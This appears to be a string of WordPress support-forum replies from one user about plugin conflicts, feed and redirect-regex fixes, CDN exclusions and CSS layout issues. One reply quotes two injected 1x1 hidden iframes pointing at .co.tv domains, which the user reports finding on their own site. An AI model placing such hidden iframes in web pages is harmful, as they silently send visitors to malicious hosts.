jonmrich

This is resolved.

I found another plugin “competing” for the same slugs.

Update:

I switched from “Post Name” permalink structure to “Plain” and then the feeds for the series worked perfectly. When I switched back to “Post Name” then I get the “Error: not a valid feed template”.

Thanks. Just submitted the info via the contact form.

Okay…thanks.

I attributed it to jetpack because the warning only appeared when I had this plugin active.

Maybe you know the answer this. I looked up the documentation on warning and it says the one I’m getting is because the site doesn’t have a valide doctype, but it definitely does. (https://github.com/jquery/jquery-migrate/blob/master/warnings.md#jqmigrate-jquery-is-not-compatible-with-quirks-mode)

That’s odd since your instructions for getting ShareThis to work are included in the settings (you say to enable restricted mode).

The sharing functions on WPTouch aren’t much to write home about. There’s a button that vaguely looks like a bird that I think few people would associate with Twitter. People are looking for the standard buttons they are used to seeing everywhere.

Update:

Turns out my regex didn’t work.

The one I posted above

/(.*)/(.*)/(.*)\..

redirected all pages that had two dots in the URL no matter where the dots were placed. So, a link like this was incorrectly forwarded: https://www.doseofdigital.com/2009/12/monitoring-adverse-events-social-media-pharmas-biggest-brands/?utm_medium=bt.io-twitter&utm_source=twitter.com&utm_content=backtype-tweetcount

I found that this regex worked perfect though, as it only redirected URLs that had two dots in succession.

/(.*)/(.*)/(.*)\Q..\E

I didn’t know the \Q...\E expression option when I suggested my first fix.

Thanks for the suggestion…that regex didn’t work

I tried this and it seems to work. Anyone see any problems with this? Haven’t found any problems this causes anywhere else yet.

/(.*)/(.*)/(.*)\..

Yes. I installed the latest version (actually it was a beta from them) and it worked fine. Having said that, I also got help directly from them, so not sure if it was the update or something they did just for my account on their end. I’d recommend sending their support people an email (and/or a tweet). They got back to me that way and helped me out.

Solved this…

Under the “custom fields” for the post, there’s an entry for jw player. If you want to lose the tagging, then you can delete this entry. It doesn’t seem to impact how the player works in any other way.

I’m using 3.2.1. The plugin claims to be compatible up to 3.2.1.

That’s not the issue.

One more bit of info.

Most of what’s in the queue comes from a directory that I have in the rejected files list in the CDN setting: wp-content/uploads/wpcf7_captcha/*

I hadn’t had any problems with the plugin, but I did recently add another directory to this list around the time the problems started. I added this: wp-content/uploads/jw-player-plugin-for-wordpress/*

It’s almost as if having two things in here makes the plugin ignore one of the rejected file paths.

Now the <iframe src="https://ymorxyhg.co.tv/?go=1" width="1" height="1"></iframe> is gone and replaced with<iframe src="https://nqhmwcnjw.co.tv/?go=1" width="1" height="1"></iframe>.

That can’t be good.

Update: this appears to be caused by some javascript. Looked at developer tools and see this error: Refused to set unsafe header “Content-length”

This is happening only in Webkit browsers. Is there a way to figure out the offending script?

Of note: it’s fixed now, so I’m guessing that someone is tinkering with their js that I call on the page and fixing and breaking it. Still would like to figure out which one is causing it though.

Adding height: auto; to this one part of the CSS (#left-column) didn’t do anything either.

Found the CSS line. Tried adding overflow: hidden and that didn’t work. I can change the height of the column to whatever I want and that does affect the size of the box within the column that has the scrollbar. So, technically, I could make it height: 50000px and the scrollbars would be gone, but you’d never get to the bottom of the page though.

I looked at the developer tools in Chrome and see that the height is auto assigned, but I can’t tell what the parent is.